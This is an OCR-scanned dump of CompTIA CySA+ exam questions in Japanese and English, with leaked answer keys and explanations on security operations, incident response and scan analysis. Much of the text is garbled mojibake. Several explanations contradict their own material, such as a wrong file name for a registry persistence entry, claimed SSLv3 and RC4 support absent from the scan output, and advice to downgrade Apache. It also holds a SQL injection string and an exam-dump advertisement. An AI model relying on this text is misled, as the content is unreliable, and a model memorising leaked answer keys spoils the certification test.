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Weaponization is the stage of the Cyber Kill Chain where the attacker creates or modifies a malicious
payload to use against a target. In this case, the disgruntled open-source developer has created a logic
bomb that will act as a wiper, which is a type of malware that destroys data on a system. This is an
example of weaponization, as the developer has prepared a cyberweapon to sabotage the code
repository.
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Host Path Key added
WEBSERVER01 |HKLM\Software\Microsoft\Windows\CurrentVessian'\Rersonalization|Allow (1)

e " A RunMe
WEBSERVERO01|HKLM\Software\Microsoft\Windows\GurrefitVersion\Run (%appdata%\abc.exe)
WEBSERVERO01|HKCU\Printers\ConvertUserDevivicdesCount Bi}c rosoft XPS Writer

Remote Path
WEBSERVERO01|HKCU\Network\Z (192.168.1.10

ColpZ_Drive)
WEBSERVER01 |HKLM\SoftwaréMierosoft\PCHealthCheck installed{1)
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A new program has been set to execute on system start is the most likely cause of the suspicious activity
that is occurring, as it indicates that the malware has modified the registry keys of the system to ensure
its persistence. File Integrity Monitoring (FIM) is a tool that monitors changes to files and registry keys on
a system and alerts the security analyst of any unauthorized or malicious modifications. The alert
triggered by FIM shows that the malware has created a new registry key under the Run subkey, which is
used to launch programs automatically when the system starts. The new registry key points to a file
named "update.exe" in the Temp folder, which is likely a malicious executable disguised as a legitimate
update file. Official References:

* https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

* https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

* https://www.comptia.org/training/books/cysa-cs0-002-study-guide
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* Non-persistent Virtual Desktop Infrastructure (VDI) is the best solution because:

* Users access a centrally managed, secure virtual desktop regardless of location.

* No data is stored locally, preventing data theft on compromised devices.

* Each session is reset upon logout, eliminating malware persistence.

Why Not Other Options?

* B (Passwordless authentication) # Improves security but does not ensure the same security level across
different locations.

* C (Standard-issue laptops) # Helps with consistency but does not protect against untrusted networks.

* D (Serverless workloads) # Focuses on application infrastructure, not user security.
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Federation is a system of trust between two parties for the purpose of authenticating users and conveying
information needed to authorize their access to resources. By using federation, a user can use one set of
credentials to access multiple domains that trust each other.
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CVE details and loCs are information that would most likely be required by the infrastructure team so that
vulnerabilities can be remediated quickly. CVE details provide the description, severity, impact, and
solution of the vulnerabilities that affect the servers. l10Cs are indicators of compromise that help identify
and respond to potential threats or attacks on the servers. References: Server and Workstation Patch
Management Policy, Section: Policy; Patch Management Policy: Why You Need One in 2024, Section:
What is a patch management policy?
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The correct answer is D. Registry.

The registry is a database that stores system configuration keys and values in a Windows environment.
The registry contains information about the hardware, software, users, and preferences of the system.
The registry can be accessed and modified using the Registry Editor tool (regedit.exe) or the command-
line tool (reg.exe).

The registry is organized into five main sections, called hives, which are further divided into subkeys and
values.

The other options are not the best descriptions of where the analyst can find system configuration keys
and values in a Windows environment. config.ini (A) is a file that stores configuration settings forsome
applications, but it is not a database that stores system configuration keys and values. ntds.dit (B) is a file
that stores the Active Directory data for a domain controller, but it is not a database that stores system
configuration keys and values. Master boot record is a section of the hard disk that contains information
about the partitions and the boot loader, but it is not a database that stores system configuration keys and
values.
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Comprehensive Detailed Explanation:To safely analyze malware while avoiding unintended disclosure of
company information, it is best to use a local sandbox in a microsegmented environment. Here's why:

* A. Upload the malware to the VirusTotal website

* Risk: VirusTotal and similar services are public and may share uploaded files with other security
vendors, potentially exposing proprietary or sensitive information.

* B. Share the malware with the EDR provider
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* Limitation: While EDR providers may offer insight, sharing potentially sensitive malware samples
externally still introduces risk of disclosure or data leaks.

* C. Hire an external consultant to perform the analysis

* Cost and Risk: Hiring an external consultant can be costly and may introduce risks related to third-party
handling of sensitive data. Although it may provide insights, this is typically not the most efficient initial
response.

* D. Use a local sandbox in a microsegmented environment

* Explanation: A local sandbox provides a secure, isolated environment for malware analysis without
exposing sensitive data outside the organization. Microsegmentation enhances security by further
isolating the sandbox from the network, preventing lateral movement if the malware attempts to
communicate externally.
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SOAR stands for security orchestration, automation, and response, which is a term that describes a set of
tools, technologies, or platforms that can help streamline, standardize, and automate security operations
and incident response processes and tasks. SOAR can help minimize human engagement and aid in
process improvement in security operations by reducing manual work, human errors, response time, or
complexity.

SOAR can also help enhance collaboration, coordination, efficiency, or effectiveness of security
operations and incident response teams.
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The correct answer is A. Implanted a backdoor.

A backdoor is a method that allows an unauthorized user to access a system or network without the
permission or knowledge of the owner. A backdoor can be installed by exploiting a software vulnerability,
by using malware, or by physically modifying the hardware or firmware of the device. A backdoor can be
used for various malicious purposes, such as stealing data, installing malware, executing commands, or
taking control of the system.

In this case, the consultant implanted a backdoor in the website by using an HTML and PHP code snippet
that displays an image of a shutdown button and an alert message that says "Exit". However, the code
also echoes the remote address of the server, which means that it sends the IP address of the visitor to
the attacker. This way, the attacker can identify and target the visitors of the website and use their IP
addresses to launch further attacks or gain access to their devices.

The code snippet is an example of a clickjacking attack, which is a type of interface-based attack that
tricks a user into clicking on a hidden or disguised element on a webpage. However, clickjacking is not
the main goal of the consultant, but rather a means to implant the backdoor. Therefore, option C is
incorrect.

Option B is also incorrect because privilege escalation is an attack technique that allows an attacker to
gain higher or more permissions than they are supposed to have on a system or network. Privilege
escalation can be achieved by exploiting a software vulnerability, by using malware, or by abusing
misconfigurations or weak access controls. However, there is no evidence that the consultant
implemented privilege escalation on the website or gained any elevated privileges.

Option D is also incorrect because patching is a process of applying updates to software to fix errors,
improve performance, or enhance security. Patching can prevent or mitigate various types of attacks,
such as exploits, malware infections, or denial-of-service attacks. However, there is no indication that the
consultant patched the web server or improved its security in any way.
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Documenting the process in a step-by-step format on the team wiki ensures the junior analyst has a
clear, repeatable reference. This approach also supports consistency and accuracy, and the
documentation can be updated or referenced by other team members as needed. CompTIA emphasizes
the importance of procedural documentation in both CySA+ and Security+ for ensuring team members
have reliable resources for task execution, which aids in knowledge retention and standardized practices
across the team.
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One of the best actions to take after the conclusion of a security incident to improve incident response in
the future is to schedule a review with all teams to discuss what occurred, what went well, what went
wrong, and what can be improved. This review is also known as a lessons learned session or an after-
action report. The purpose of this review is to identify the root causes of the incident, evaluate the
effectiveness of the incident response process, document any gaps or weaknesses in the security
controls, and recommend corrective actions or preventive measures for future incidents. Official
References: https://www.eccouncil.org
/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack/
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Comprehensive and Detailed Explanation:

Asimulation(such as atabletop exercise or full-scale IR drill) is the best way to demonstrate real-world
readiness without affecting operations.

* Option A (Reviewing lessons-learned and playbooks)is valuable but does not actively test readiness.
* Option C (Deploying malware)is highly risky and unethical in a production environment.

* Option D (Disaster recovery site testing)focuses on DR, not security incident readiness.
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Thus,B is the best choice, as simulations effectivelytest incident response capabilities without operational
disruption.
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Comprehensive Detailed Explanation:SOAR (Security Orchestration, Automation, and Response)
solutions are implemented to streamline security operations and improve efficiency. Key benefits include:
* C. Reduce repetitive tasks: SOAR solutions automate routine and repetitive tasks, which helps reduce
analyst workload and minimize human error.

* F. Generate reports and metrics: SOAR platforms can automatically generate comprehensive reports
and performance metrics, allowing organizations to track incident response times, analyze trends, and
optimize security processes.

Other options are less relevant to the core functions of SOAR:

* A. Minimize security attacks: While SOAR can aid in quicker response, it does not directly minimize the
occurrence of attacks.

* B. Itemize tasks for approval: Task itemization for approval is more relevant to project management
tools.

* D. Minimize setup complexity: SOAR solutions often require significant setup and integration with
existing tools.

* E. Define a security strategy: SOAR is more focused on automating response rather than strategy
definition.
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A credentialed scan is a type of vulnerability scan that uses valid credentials to log in to the scanned
systems and perform a more thorough and accurate assessment of their vulnerabilities. A credentialed
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scan can access more information than a non-credentialed scan, such as registry keys, patch levels,
configuration settings, and installed applications. A credentialed scan can also reduce the number of false
positives and false negatives, as it can verify the actual state of the system rather than relying on
inference or assumptions. The other types of scans are not related to the issue of incomplete findings, as
they refer to different aspects of vulnerability scanning, such as the scope, location, or frequency of the
scan. An external scan is a scan that is performed from outside the network perimeter, usually from the
internet. An external scan can reveal how an attacker would see the network and what vulnerabilities are
exposed to the public. An external scan cannot access internal systems or resources that are behind
firewalls or other security controls. A differential scan is a scan that compares the results of two scans
and highlights the differences between them. A differential scan can help identify changes in the network
environment, such as new vulnerabilities, patched vulnerabilities, or new devices. A differential scan does
not provide a complete list of findings by itself, but rather a summary of changes. A network scan is a
scan that focuses on the network layer of the OSI model and detects vulnerabilities related to network
devices, protocols, services, and configurations. A network scan candiscover open ports, misconfigured
firewalls, unencrypted traffic, and other network-related issues. A network scan does not provide
information about the application layer or the host layer of the OSI model, such as web applications or
operating systems.
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Fuzzing is a testing technique where invalid or random data is inputted into a system to find
vulnerabilities, crashes, or unexpected behaviors. It's commonly used in software security to identify flaws
that could lead to security breaches. According to CompTIA's CySA+ curriculum, fuzzing is a dynamic
testing method for exposing application weaknesses. Options like static testing (B) involve analyzing code
without execution, while reverse engineering (A) and debugging (D) involve different methodologies for
understanding or fixing code, not intentionally stressing it.
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SIEM (Security Information and Event Management) technology aggregates and analyzes activity from
many different resources across your IT infrastructure. The description of correlating information from
various sources and triggering notifications aligns with the capabilities of a SIEM system.
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A prioritized list of critical systems defined by executive leadership is the best option to use to develop a
business continuity plan. A business continuity plan (BCP) is a system of prevention and recovery from
potential threats to a company. The plan ensures that personnel and assets are protected and are able to
function quickly in the event of a disaster1. A BCP should include a business impact analysis, which
identifies the critical systems and processes that are essential for the continuity of the business
operations, and the potential impacts of their disruption2. The executive leadership should be involved in
defining the critical systems and their priorities, as they have the strategic vision and authority to make
decisions that affect the whole organization3. A diagram of all systems and interdependent applications, a
repository for all the software used by the organization, and a configuration management database in
print at an off-site location are all useful tools for documenting and managing the IT infrastructure, but
they are not sufficient to develop a comprehensive BCP that covers all aspects of the business
continuity4. References: What Is a Business Continuity Plan (BCP), and How Does It Work?, Business
continuity plan (BCP) in 8 steps, with templates, Business continuity planning | Business Queensland,
Understanding the Essentials of a Business Continuity Plan
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The correct answer is B. Replace the current MD5 with SHA-256.

The vulnerability that the security analyst is able to exploit is a hash collision, which is a situation where
two different files produce the same hash value. Hash collisions can allow an attacker to bypass the
integrity or authentication checks that rely on hash values, and submit malicious files to the system. The
web application uses MD5, which is a hashing algorithm that is known to be vulnerable to hash collisions.
Therefore, the analyst should suggest replacing the current MDS with SHA-256, which is a more secure
and collision- resistant hashing algorithm.

The other options are not the best suggestions to mitigate the vulnerability with the fewest changes to the
current script and infrastructure. Deploying a WAF (web application firewall) to the front of the application
(A) may help protect the web application from some common attacks, but it may not prevent hash
collisions or detect malicious files. Deploying an antivirus application on the hosting system may help
scan and remove malicious files from the system, but it may not prevent hash collisions or block
malicious files from being submitted. Replacing the MD5 with digital signatures (D)may help verify the
authenticity and integrity of the files, but it may require significant changes to the current script and
infrastructure, as digital signatures involve public-key cryptography and certificate authorities.
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The correct answer is C. False negative.

A false negative is a situation where an attack or a threat is not detected by a security control, even
though it should have been. In this case, the SIEM rule was unable to detect an attack with nine failed
logins, which is below the threshold of ten failed logins that triggers an alert. This means that the SIEM
rule missed a potential attack and failed to alert the security analysts, resulting in a false negative.

A false positive is a situation where a benign or normal activity is detected as an attack or a threat by a
security control, even though it is not. A true negative is a situation where a benign or normal activity is
not detected as an attack or a threat by a security control, as expected. A true positive is a situation
where an attack or a threat is detected by a security control, as expected. These are not the correct
answers for this question.

BT R 22
RBERAFX Y VEET L TCREREOEIMEZHIT 50014 0T MAETOERDEL %
T1—RFRDENTIM?

A. ZATZEE
B. L/R— b
C. [El1&

D. RARIERE 747

Answer: (&% &RTT 5)

Comprehensive and Detailed Step-by-Step Explanation:Performing a vulnerability scan during the
recovery phase ensures that corrective actions, such as patches or configuration changes, have
effectively addressed the vulnerabilities exploited during the incident. This step validates the system's
security before fully restoring operations.
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SOC7FTURKEIRY FI—V LD RS T4 90 ERHMLTOWT FEBRF Y UIIRIDEEL, X
DIALTDTITAETADIEENDBEBREINTNETH?

A. WEQBERTHTR

B.REGET7Y—ET7RIE

C.xvy FI—Y LORERTINA R

D. VATLDT7vTT—F

Answer: A (A —vt—T#ET)
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SELECT ' From userjdata WHERE Username = 0 and userid8 1 or 1=1;-

RDAEA—ILDSL ENERETHIONREETL & 557

AJDANY LR T7T)r—2ay JoralLzZEBRLET,

B. FamD¥RT Lo R—xx> FZHIBRLET,

C.EYGET7VEAHEMERELFT,

D. 1—H#—ANERIELFT,

Answer: D (A —vyt—T%EY)

The code snippet provided suggests an SQL injection vulnerability, indicated by the use of "1=1," which is
a common SQL injection technique to bypass authentication. To mitigate this risk, validating user input is
the most effective control, as it ensures that any input is properly sanitized and escapes potentially
malicious characters before interacting with the database. This is a key principle from CompTIA Security
+ guidelines on secure coding practices. Options A and B are unrelated to the vulnerability type here, and
while access control (Option C) is generally good practice, it does not specifically prevent SQL injection.

HTEIRE: 25

SOCT7FHVARKME EEZAKRIAZET HMESNT5—LOMEYDHEZRALSZENTED L
HIFTLEL, 7TV R IDBRDMBROFANTT 53—LOBEB LT DICRILDDIERD ENTI N,

A. SOAR

B. API

C. XDR

D. REST

Answer: A (A —vyt—T%EY)

Security Orchestration, Automation, and Response (SOAR) can help the SOC analyst reduce the number
of alarms by automating the process of removing duplicates and managing security alerts more
efficiently.

SOAR platforms enable security teams to define, prioritize, and standardize response procedures, which
helps in reducing the workload and improving the overall efficiency of incident response by handling
repetitive and low-level tasks automatically.
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A.Web H—/N\—®DHIIZIPS &L ET,
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D.V—X J— FIZHERMHEEELET,
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F. WAF ORB/N\Y FEFERALCHEBEELBELET,
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Answer: (A& %RTd 5)

The best recommendations to prevent an XSS vulnerability from being exploited are to implement a
compensating control in the source code and to fix the vulnerability using a virtual patch at the WAF. A
compensating control is a technique that mitigates the risk of a vulnerability by adding additional security
measures, such as input validation, output encoding, or HTML sanitization. A virtual patch is a rule that
blocks or modifies malicious requests or responses at the WAF level, without modifying the application
code.

These recommendations are effective, efficient, and less disruptive than the other options. References:
CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and
Monitoring, page 156; Cross Site Scripting Prevention Cheat Sheet, Section: XSS Defense Philosophy.
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EarEafEE (CEO) Mo MEDEFMENRELE-EOBEMAHY LI, CEO AFETRED
2aZ—23v ITSVERDSIBEENTT D,

A BFARR—O X —IC FEZEZRTDIRAZ Y IEBAMICELES LOICEELET,

B.7LRA V) —R&ER721—)LLT MDY —ER TONA F—DBERIZREICOVTEMLET,
C. = TERAENDI NTOREFREICRHTL, EREBRERY FET,

D. ;ZE & ASBEMICH (TS5 Pll & SPI QEMBEMEBEGHZHERLET,

Answer: A (A —vyt—T %K)

The CEO should initiate an alert to department managers to speak privately with affected staff. This is
because the trade secret is confidential and should not be disclosed to the public. Additionally, the
CEOshould verify legal notification requirements of Pll and SPII in the legal and human resource
departments to ensure compliance with data protection laws.
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AT FMEDBNEZSRRTYTICEDHIREZEELRATEIRD S B ENTTH?

A A Ty MRIGETBEFEZIEFIEOHREFLIIEREZRFELET,

B.RAEI ANH =M EIMN FHIRZRYBSLGVELSICENIRZLENZHIELET,
C.URELEITRTOEMIINZR L  ERICEIEELET,

D. ATy FOMBHELZICOVWTELEWL, tXa ) T« EENEYIZITOATLENE S M EH
BrLET,

Answer: A (A —yt—T %%

An important aspect that should be included in the lessons-learned step after an incident is to identify any
improvements or changes in the incident response plan or procedures. The lessons-learned step is a
process that involves reviewing and evaluating the incident response activities and outcomes, as well as
identifying and documenting any strengths, weaknesses, gaps, or best practices. Identifying any
improvements or changes in the incident response plan or procedures can help enhance the security
posture, readiness, or capability of the organization for future incidents

BT 29
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X2 T4 TFTFIRADNRRAMERF YL ROBHEERLFET,

RODENDPENZERDLLICRLTOETH?

A.RX FMFICMP EZKICHRELEFEA,

B. "X FEMEHBLHE—I Y—N—ZFITLTVET,

C. RR MIRETHWFTP ERZHALTULET,

D. KX I Web R—ZXDITHRXTOA ~IxtLTHEFETI,

Answer: D (A —vyt—T%EY)

The output shows that port 80 is open and running an HTTP service, indicating that the host could
potentially be vulnerable to web-based attacks. The other options are not relevant for this purpose: the
host is responsive to the ICMP request, as shown by the "Host is up" message; the host is not running a
mail server, as there is no SMTP or POP3 service detected; the host is not allowing unsecured FTP
connections, as there is no FTP service detected.References: According to the CompTIA CySA+ Study
Guide: Exam CS0-003, 3rd Edition123, one of the objectives for the exam is to "use appropriate tools and
methods to manage, prioritize and respond to attacks and vulnerabilities". The book also covers the
usage and syntax of nmap, a popular network scanning tool, in chapter 5. Specifically, it explains the
meaning and function of each option in nmap, such as "-sV" for version detection2, page 195. Therefore,
this is a reliable source to verify the answer to the question.
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YAN—tFXa)T4 7FIYAMISIEMOTZHRAEL REARZX NS TAVY YR MIEHFINT
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A.T—RD5|IEHL

B. FELT/NA R

C. A¥ vyt

D.E—aY

Answer: D (A —vt—T#%Y)

Beaconing is the best term to describe the activity that is taking place, as it refers to the periodic
communication between an infected host and a blocklisted external server. Beaconing is a common
technique used by malware to establish a connection with a command-and-control (C2) server, which can
provide instructions, updates, or exfiltration capabilities to the malware. Beaconing can vary in frequency,
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duration, and payload, depending on the type and sophistication of the malware. The other terms are not
as accurate as beaconing, as they describe different aspects of malicious activity. Data exfiltration is the
unauthorized transfer of data from a compromised system to an external destination, such as a C2 server
or a cloud storage service. Data exfiltration can be a goal or a consequence of malware infection, but it
does not necessarily involve blocklisted servers or consistent requests. Rogue device is a device that is
connected to a network without authorization or proper security controls. Rogue devices can pose a
security risk, as they can introduce malware, bypass firewalls, or access sensitive data. However, rogue
devices are not necessarily infected with malware or communicating with blocklisted servers. Scanning is
the process of probing a network or a system for vulnerabilities, open ports, services, or other
information. Scanning can be performed by legitimate administrators or malicious actors, depending on
the intent and authorization. Scanning does not imply consistent requests or blocklisted servers, as it can
target any network or system.
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AT RNEBARY MRISEBF—LAESERERFIRDENTIA?

(2DBIRLTLFZELY)

A BREEDO-ODEMEIIEHEFHOAEZTHAELET,
B.ARXVIDHERELTERIFLEHFLOLENZHE L TEIELFET,

C. AHIHEICRHET AFHEICOVTA VT Y MRIGF—LIZBIELET,

D.IRTDYVARATL X2 T4 THRAREFIENBEYICEBEIN TS LERERELFET,
E.REDE-HICaAVE21—FERxy FI—VDEZFMZEERELET,
F.9IRXTOEFa) T+ IBLBENBEYGHERZH TSI EZHELET,

Answer: B,C (A —vt—T#%Y)

During an incident, the legal team plays a crucial role in handling regulatory compliance and reviewing
legal implications, such as contractual obligations and reporting requirements. Advising on regulatory
reporting (Option C) ensures the organization meets legal mandates, while reviewing contracts (Option B)
can address new or emergency services needed during the incident. According to CompTIA CySA+ and
Security+ guidelines, these legal responsibilities are vital for compliance and risk management.Options
related to staffing, damage assessments, and clearances typically fall under operational or HR
responsibilities rather than legal purview.

A #1735 CS0-003J [EIEEE (L GoShiken.com AR I =& LA59 LY CS0-003J AR REEE !
GoShiken.com M & HTMD CS0-003J FAERMEIREE Z 1Rt L TLVET, GoShiken.com CS0-003J 5 E& i E
EIRIT MENEETTIVET, BID GoShiken.com CS0-003J) FEEZ Y Y FFTBHAEXT B D!
https://www.goshiken.com/CompTIA/CS0-003J-mondaishu.html (43630%OFFRAREEE % & IE g+ &

T 30%wiRIEI5Ia— F: Freepdfdumps)
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C. fie551%

D. 7O 74—

Answer: B (A —vyt—T%EY)

The correct answer is B. Metrics.

The Metrics section of the vulnerability report provides information about the level of impact on data
confidentiality if a successful exploitation occurs. The Metrics section contains the CVE dictionary entry
and the CVSS base score of the vulnerability. CVE stands for Common Vulnerabilities and Exposures
and it is a standardized system for identifying and naming vulnerabilities. CVSS stands for Common
Vulnerability Scoring System and it is a standardized system for measuring and rating the severity of
vulnerabilities.

The CVSS base score is a numerical value between 0 and 10 that reflects the intrinsic characteristics of a
vulnerability, such as its exploitability, impact, and scope. The CVSS base score is composed of three
metric groups: Base, Temporal, and Environmental. The Base metric group captures the characteristics
of a vulnerability that are constant over time and across user environments. The Base metric group
consists of six metrics: Attack Vector, Attack Complexity, Privileges Required, User Interaction, Scope,
and Impact. The Impact metric measures the effect of a vulnerability on the confidentiality, integrity, and
availability of the affected resources.

In this case, the CVSS base score of the vulnerability is 9.8, which indicates a critical severity level. The
Impact metric of the CVSS base score is 6.0, which indicates a high impact on confidentiality, integrity,
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and availability. Therefore, the Metrics section provides information about the level of impact on data
confidentiality if a successful exploitation occurs.

The other sections of the vulnerability report do not provide information about the level of impact on data
confidentiality if a successful exploitation occurs. The Payloads section contains links to request and
response payloads that demonstrate how the vulnerability can be exploited. The Payloads section can
help an analyst to understand how the attack works, but it does not provide a quantitative measure of the
impact. The Vulnerability section contains information about the type, group, and description of the
vulnerability. The Vulnerability section can help an analyst to identify and classify the vulnerability, but it
does not provide a numerical value of the impact. The Profile section contains information about the
authentication, times viewed, and aggressiveness of the vulnerability. The Profile section can help an
analyst to assess the risk and priority of the vulnerability, but it does not provide a specific measure of the
impact on data confidentiality.
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root@INFOSEC -~ curl head appsrvl.fictionalorg.com:443

HTTP/1.1 200 0K

Date: Wed, 26 Jun 2019 21:15:15 GMI
Server: Apache/2.4 .48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13528-58c487938177d"
Accept-Ranges: bytes

Content-Length: 79136

Vary: Accept-Encoding

Cache-Control: max age=31688

Expires: Wed, 26 Jun 2819 22:15:15 GMT
Content-Type: text/html

root@INFOSEC :~8 nmap script ssl-enum-ciphers appsrvl.fictionalorg.com -p 443
Starting Nmap 6.48 ( http://rmmap.org ) at 2819-86-26 16:87 (DI

Nmap scan report for AppSrvl.fictionalorg.com (10.21.4.68)
Host is up (8.842s latency).

rONS record for 18.21.4.68: inaddrArpa.fictionalorg.com
PORT STATE SERVICE

root@INFOSEC:~# nmap --script scl-enum-cipherc appervli.fictionalorg.com -p 443

Starting Nmap 6.42 ( http: //nesap.org ) at 2€19-86-26 16:07 (D1

Mmap scan repart Tow 'j[.\'nr'ul.ritTiunﬂ]nr'r_.:im (18.21.4.68)

Host is wp (0.242s latency).

TL5. RSA_WITH_AES_256_GCM_SHA384 - strong

NULL

]
F
E (_I.“_’!rr' Sl S
i
|_ least strength: strong

Nmap done: 1 IP address (1 host up) scanned in B.63 seconds

root@INFOSEC:~# nmap =--top-ports 16 appsrvl.fictionalorg.com

Starting Nmap 6.48 ( http://mmap.org ) at 2819-86-27 18:13 (D7

Nmap scan report for appsrvl.fictionalorg.com (18.21.4.68)
Host is up (0.15s latency).

rONS record for 18.21.4.68: appsrvl.fictionalorg.com

PORT STATE SERVICE

Ba/tcp open http




7TUH—72:

HTTPS1.1 268 0K

Date: Wed, 26 Jun 2819 21:15:15 GMT

Server: Apache/2.3.48 (CentDS)
Last-Modified: wWed, 26 Jun 2019 21:18:22 GMI
ETag: "13520-58c487930177d

Accept-Ranges: bytes

Content-Length: 79136

Vary: Accept-Encod i ng

Cache-Control: max-age-3600

Expires: Wed, 26 Jun 2819 22:15:15 GMI

Content-Type:, text /himl

root@INFOSEC:~8 nmap --sc |'ip|_ ] ~esnum-q ip-h-r‘[". appsrvz.fict inrml-:]rlg,i on -p 443

Starting Nmap 6.40 ( http://mmap.org ) at 2019-86-26 16:97 D

Nmap scan report for AppSrv2.fictionalorg.com (18.21.4.69)
Host is up (©.242s latency).

rOMS record for 18.21.4.69: inaddrArpa.fictionalorg.com
Mot shown: 998 filtered ports

PORT STATE SERVICE

Ba/tcp open http

7T)H—T3:



AppServi AppServe AppServ3 AppServe

HTTP/1.1 260 OK

Date: Wed, 26 Jun 2619 21:15:15 GMT

Server: Apache/2.4.43 (Cent0S)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c486780177e"

Accept-Ranges: bytes

Content-Length: 79136

Vary: Accept-Encoding

Cache-Control: max-age=3600 )
Expires: Wed, 26 Jun 2019 22:15:15 GMig
Content-Type: text/html 25

root@INFOSEC:~# nmap ﬁcfiptfsélééhuu ciphers appsrv3.fictionalorg.com -p 443

Starting Nmap 6.40 til://nmap.org ) at 2019-86-26 16:07 (DT

Nmap scan report forgaﬁpbrVJ.fjctionalorg.com (10.21.4.70)
Host is up (0.642s latency).

rONS record for 10.21.4.70: inaddrArpa.fictionalorg.com
PORT STATE SERVICE

B88/tcp open http

a43/tcp open https

7)Y —TJ4:



- - i
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMI
ETag: "13520-58c486780177e"

Accept-Ranges: bytes

Content-Length: 79136

Vary: Accept-Encoding

Cache-Control: max-age=3600

Expires: Wed, 26 Jun 2819 22:15:15 GMI

Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum ciphers appsrv4.fictionalorg.com
Starting Nmap 6.48 ( http://rmap.org ) at 2019-86-26 16:07 (DT

Mmap scan report for AppSirv4.fictionalorg.com (10.21.4.71)
Host is wp (0.8425 latency).

rONS record for 18.21.4.71: inaddrArpa.fictionalorg.com
Mot shown: 998 Tiltered ports

PORT STATE SERVICE

443/tcp open https

|  TLSvi.2:

| ciphers:
| TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong




Comphlance Report

Fill out the following report based on your analysis of
the scan data

D AppServ1 is only using TLS 1.2
|| Appservzisonly using TLS 1.2

D AppServ3 is only using TLS 1.2

[ ] Appserva is onifUsing TLs 12

|| Appsefvils using Apache 2.4.18 or greater
|| Appservz is using Apache 2.4.18 or greater

D AppServ3 is using Apache 2 4. 18 or greater

(] Appserva Islusing Apache 2 4.18 or greater -

IN—R2:




Configuiation Change Recommendations

o Add Recommendation for

Service

HTTPD Security
TELNET

SSH

MysaL
Apache Version

Config Change

Move to Fort 443
Restrict To TLS 1.2
Upgrade Version
Move to Port 22
Remove or Disable

Answer:
check the explanation part below for the solution:

Explanation:




Part 1:

compliance Report

Fill out the following report based on your analysis of
the scan data

| | Appservi s only using TLS 1.2
Empsm s only using TLS 1.2
[ Avpsenva is only using TE8 1.2

AppServ4 is ofily using TLS 1.2

|:| AppServ1 Is using Apache 2.4.18 or greater

D AppServ2 Is using Apache 2 4 18 or greater

AppServ3 is using Apache 2 4.18 or greater

D AppServd »slusng Apache 2 4 18 or greater -

Part 2:




Based on the compliance report, | recommend the following changes for each server:

AppServ1: No changes are needed for this server.

AppServ2: Disable or upgrade TLS 1.0 and TLS 1.1 to TLS 1.2 on this server to ensure secure encryption
and communication between clients and the server. Update Apache from version 2.4.17 to version 2.4.18
or greater on this server to fix any potential vulnerabilities or bugs.

AppServ3: Downgrade Apache from version 2.4.19 to version 2.4.18 or lower on this server to ensure
compatibility and stability with the company's applications and policies. Change the port number from
8080 to either port 80 (for HTTP) or port 443 (for HTTPS) on this server to follow the default port
convention and avoid any confusion or conflicts with other services.

AppServ4: Update Apache from version 2.4.16 to version 2.4.18 or greater on this server to fix any
potential vulnerabilities or bugs. Change the port number from 8443 to either port 80 (for HTTP) or port
443 (for HTTPS) on this server to follow the default port convention and avoid any confusion or conflicts
with other services.

= HTERE: 34
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Answer: C (A —vyt—T%REY)

Microsegmentation involves dividing a network into smaller, isolated segments to restrict lateral
movement within the network. This is crucial within a Zero Trust architecture, which assumes that no
entity (internal or external) is inherently trustworthy. By limiting access to only necessary network
segments, microsegmentation reduces the impact of a potential breach by containing it within a limited
area. CompTIA emphasizes microsegmentation as an effective strategy to minimize risk and improve
security posture by isolating resources based on the principle of least privilege.
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PORT STATE SERVICE VERSION
22/tcp open ssh Cisco 88SH 1.25 (protoceol 2.0)
443/tcp open ssl/http OpenResty web app server
| http-server-header: openresty
ssl-enum-ciphers:
TLS8vl.1l:
ciphers:
TLS RSA WITH AES 128 CBC_SHA (rsa 2048) - F
TLS_ECDHE RSA WITH AFS 128 CBC_SHA (secp256rl)/ =F

comrpresasorsa;

NULL

cipher preference: server

warnings:

Insecure certificate signature (SHAl), Sscore capped at

Lo |

=
L=t
)]
]

TLS_ECDHE_RSA WITH AFS 128 GCM BHA256 (secp256rl) - F

'LS_ECDHE RSA WITH AES 256 GOM SHA384 (secp256rl) - F

TLS_ECDHE RSA WITH AES @256 CBC SHA384 (secp256rl) - F

TLS_RSA WITH AES 256/CBC SHA256 (rsa 2048) - F

TLS ECDHE RSA WITH AES "128 'CBC SHA256 (secp2d5érl) - F
—_— — — — — — — -

TLS RSA WITH AES 256 &GCM SHA384 (rsa 2048) - F

TL8 RSA WITH AEE_:EE_E:&_SHAZ5€ (rsa 2048) - F

TLS_RSA WITH AES 228 CBC_SHA256 (rsa 2048) - F

TLS_RSA WITH AES 128 CBC_SHA (rsa 2048) - F

TLS_ECDHE_RSA_WITH_AES_ 128 _CBC_SHA (secp256rl) - F

compressors:

NULL

cipher preference: server

warnings:

Insecure certificate BignATHES NFEMY) , | gcdre capped at F

least strength: F
HAZRLEICHALTLADIERD S5 ENTTH?
A R FAEBLTULVGELD IEELTULEEA,
B. KRR MIBRIGHESAA—FEETLTLET,
C. KRR FIZETHVESRAA—FZHALTVET,
D. ZMHRA ® Secure Shell R— FAFAL LA TULVET
Answer: (&% %K 7 D)
The output shows the result of running the ssl-enum-ciphers script with Nmap, which is a tool that can
scan web servers for supported SSL/TLS cipher suites. Cipher suites are combinations of cryptographic
algorithms that are used to establish secure communication between a client and a server. The output
shows the cipher suites that are supported by the server, along with a letter grade (A through F)
indicating the strength of the connection. The output also shows the least strength, which is the strength
of the weakest cipher offered by the server. In this case, the least strength is F, which means that the
server is allowing insecure cipher suites that are vulnerable to attacks or have been deprecated. For
example, the output shows that the server supports SSLv3, which is an outdated and insecure protocol
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that is susceptible to the POODLE attack. The output also shows that the server supports RC4, which is a
weak and broken stream cipher that should not be used.

Therefore, the best description of the output is that the host is allowing insecure cipher suites. The other
descriptions are not accurate, as they do not reflect what the output shows. The host is not up or
responding is incorrect, as the output clearly shows that the host is up and responding to the scan. The
host is running excessive cipher suites is incorrect, as the output does not indicate how many cipher
suites the host is running, only which ones it supports. The Secure Shell port on this host is closed is
incorrect, as the output does not show anything about port 22, which is the default port for Secure Shell
